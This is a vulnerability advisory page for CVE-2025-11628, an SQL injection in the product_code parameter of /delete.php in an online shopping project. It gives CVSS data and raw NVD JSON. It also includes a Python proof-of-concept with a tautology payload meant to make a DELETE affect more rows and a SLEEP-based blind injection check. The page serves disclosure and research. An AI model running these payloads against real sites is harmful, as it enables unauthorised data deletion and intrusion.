Security Vulnerability Report
中文
CVE-2025-11628 CVSS 4.7 MEDIUM

CVE-2025-11628

Published: 2025-10-12 05:15:37
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in jimit105 Project-Online-Shopping-Website up to 7d892f442bd8a96dd242dbe2b9bd5ed641e13e64. This affects an unknown function of the file /delete.php of the component Product Inventory Handler. This manipulation of the argument product_code causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

jimit105 Project-Online-Shopping-Website (rolling release, commit up to 7d892f442bd8a96dd242dbe2b9bd5ed641e13e64)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11628 SQL Injection PoC # Target: jimit105 Project-Online-Shopping-Website # Vulnerable File: /delete.php # Vulnerable Parameter: product_code # Component: Product Inventory Handler import requests # Target configuration TARGET_URL = "http://target-site.com/delete.php" # Attacker must have high privileges (admin/product manager account) COOKIES = { "PHPSESSID": "authenticated_session_cookie_here" } # Basic SQL Injection payload for product_code parameter # The payload attempts to bypass the DELETE WHERE clause to affect more rows PAYLOAD = "1' OR '1'='1' -- " def exploit_sqli(): """ Exploit SQL injection in product_code parameter of /delete.php """ params = { "product_code": PAYLOAD } response = requests.get(TARGET_URL, params=params, cookies=COOKIES) if response.status_code == 200: print("[+] SQL Injection payload sent successfully") print(f"[+] Response length: {len(response.text)}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False # Time-based blind SQL injection test def time_based_blind_test(): """ Time-based blind SQL injection to confirm vulnerability """ payload_timing = "1' AND SLEEP(5) -- " params = { "product_code": payload_timing } import time start_time = time.time() response = requests.get(TARGET_URL, params=params, cookies=COOKIES) elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Time-based blind SQL injection confirmed!") print(f"[+] Response delayed by {elapsed_time:.2f} seconds") else: print("[-] No time delay detected") if __name__ == "__main__": print("[*] CVE-2025-11628 SQL Injection PoC") print("[*] Target: Project-Online-Shopping-Website /delete.php") exploit_sqli() time_based_blind_test()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11628", "sourceIdentifier": "[email protected]", "published": "2025-10-12T05:15:37.283", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in jimit105 Project-Online-Shopping-Website up to 7d892f442bd8a96dd242dbe2b9bd5ed641e13e64. This affects an unknown function of the file /delete.php of the component Product Inventory Handler. This manipulation of the argument product_code causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/mhszed/Report/blob/main/Project-Online-Shopping-Website%20exit%20sql.docx", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.328040", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.328040", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.664647", "source": "[email protected]"}]}}